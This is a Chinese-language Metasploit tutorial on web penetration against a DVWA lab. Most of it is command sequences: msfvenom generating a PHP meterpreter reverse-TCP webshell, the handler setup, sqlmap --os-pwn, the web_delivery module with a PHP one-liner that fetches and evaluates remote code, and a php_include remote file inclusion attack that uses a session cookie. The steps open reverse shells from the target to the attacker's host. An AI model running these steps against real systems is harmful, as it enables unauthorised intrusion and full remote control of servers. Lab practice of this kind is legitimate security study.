msf生成webshell MSF之Web滲透

webshellroot@kali:~# msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.80.163 lport=3333 -f raw -o a.php 生成a.php

msf > use exploit/multi/handler

msf exploit(handler) > set payload php/meterpreter/reverse_tcp

msf exploit(handler) > set lhost 192.168.80.163

msf exploit(handler) > set lport 3333

msf exploit(handler) > exploit

通過sql注入寫許可權、上傳漏洞等，將a.php上傳到目標主機的web目錄下；

通過瀏覽器訪問a.php。

msf會獲得目標主機meterpreter型別的shell。

sql注入

sqlmap的--os-pwn引數，可以獲得目標的meterpreter型別的shell。

exploit/multi/script/web_delivery模組，配合命令執行漏洞使用msf exploit(handler) > use exploit/multi/script/web_delivery

msf exploit(web_delivery) > set payload php/meterpreter/reverse_tcp

msf exploit(web_delivery) > set lhost 192.168.80.163

msf exploit(web_delivery) > set uripath /

msf exploit(web_delivery) > set srvport 80

msf exploit(web_delivery) > set target 1

在存在命令執行漏洞的**上，執行下面的命令，msf會獲得目標主機的shell。php -d allow_url_fopen=true -r "eval(file_get_contents(''));"

環境準備：

dvwa的low級別**預設存在本地檔案包含漏洞；但是不存在遠端檔案包含漏洞，我們需要自己設定。

從phpinfo中獲取到如下資訊。

本地配置檔案路徑

sudo /etc/init.d/apache2 restart

msf exploit(php_include) > set rhost 192.168.80.135

msf exploit(php_include) > set path /dvwa/vulnerabilities/fi

msf exploit(php_include) > set phpuri /?page=xxpathxx

msf exploit(php_include) > set headers "cookie: security=low; phpsessid=69fb8940243aa75ba98a8e6698139671"

msf exploit(php_include) > set payload php/meterpreter/reverse_tcp

msf exploit(php_include) > set lhost 192.168.80.163

exploit獲得shell